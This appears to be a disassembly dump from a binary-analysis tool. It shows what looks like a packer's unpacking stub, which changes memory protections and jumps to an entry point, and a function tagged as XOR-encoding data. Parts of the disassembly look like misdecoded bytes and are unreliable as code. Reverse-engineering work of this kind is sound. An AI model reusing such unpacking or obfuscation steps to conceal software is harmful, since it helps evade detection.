call dword [esi + 0x280c8]
mov ebp, dword [esi + 0x280d0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ef]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x42841a
sub esp, 0xffffff80
jmp 0x409ac0

Function at 0x409ebd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x409ebd
lcall 0x5de5, 0x8b10c483
jmp fcn.0076d6b4